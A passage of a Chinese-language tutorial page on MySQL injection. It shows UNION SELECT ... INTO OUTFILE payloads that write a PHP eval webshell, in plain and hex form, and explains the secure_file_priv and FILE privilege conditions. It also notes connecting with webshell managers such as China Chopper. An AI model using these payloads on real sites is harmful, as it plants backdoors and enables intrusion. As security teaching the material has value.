主页 > 网络知识 > 六问MySQL?你敢来挑战吗?(2)

六问MySQL?你敢来挑战吗?(2)

 

六问MySQL?你敢来挑战吗?

 

上述只是举了一小部分脚本,读者在使用sqlmap工具的时候可以尝试使用这些脚本绕过WAF设备。

五问?MySQL注入写shell的条件 (1)利用union select写入

into outfile=into dumpfile
?id=1 union select 1,"<?php @eval($_POST['ls']);?>",3 into outfile 'F:/7788/evil.php'
?id=1 union select 1,0x223C3F70687020406576616C28245F504F53545B276C73275D293B3F3E22,3 into outfile "F:/7788/evil.php"

具体权限要求:
✦secure_file_priv支持web目录文件导出
✦数据库用户file权限
✦获取物理途径

secure_file_priv 特性:
secure_file_priv参数是用来限制load data,select…outfile,and load_file()传到哪个指定目录的。
✔secure_file_priv的值为null时,表示限制mysql不允许导入或导出。
✔secure_file_priv的值为某一路径时,表示限制mysql的导入或导出只能发生在该路径下
✔secure_file_priv的值没有具体值时,表示不对mysql的导入或导出做限制

如何在MySQL查看secure_file_priv参数的值:
show global variables like '%secure%'

 

六问MySQL?你敢来挑战吗?

 

在mysql 5.6.34版本以后secure_file_priv的值默认为NULL。
并且无法用sql语句对其进行修改,只能够通过修改windows下相应的配置文件my.ini,可执行以下语句查看MySQL的安装目录:
show global variables like '%datadir%'

 

六问MySQL?你敢来挑战吗?

 

 

六问MySQL?你敢来挑战吗?

 

 

六问MySQL?你敢来挑战吗?

 

加入:
secure_file_priv=''

 

六问MySQL?你敢来挑战吗?

 

重启MySQL服务:

 

六问MySQL?你敢来挑战吗?

 

这样修改后,就可以在任意目录进行数据导入导出了。也代表着能在有权限的任意文件夹下读写文件
数据库有用户file权限:
select * from mysql.user where user='test'

 

六问MySQL?你敢来挑战吗?

 

满足了三个条件:
secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径

 

六问MySQL?你敢来挑战吗?

 

查看相应目录,生成成功。

 

六问MySQL?你敢来挑战吗?

 

在实际环境中,写到web目录,再使用工具(菜刀、冰蝎、Godzilla)连接木马。
如果实际环境是linux,则需要修改添加至my.cnf配置文件:

 

六问MySQL?你敢来挑战吗?

 

如果没有满足条件(secure_file_priv是默认值),导出文件自然不会成功:

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!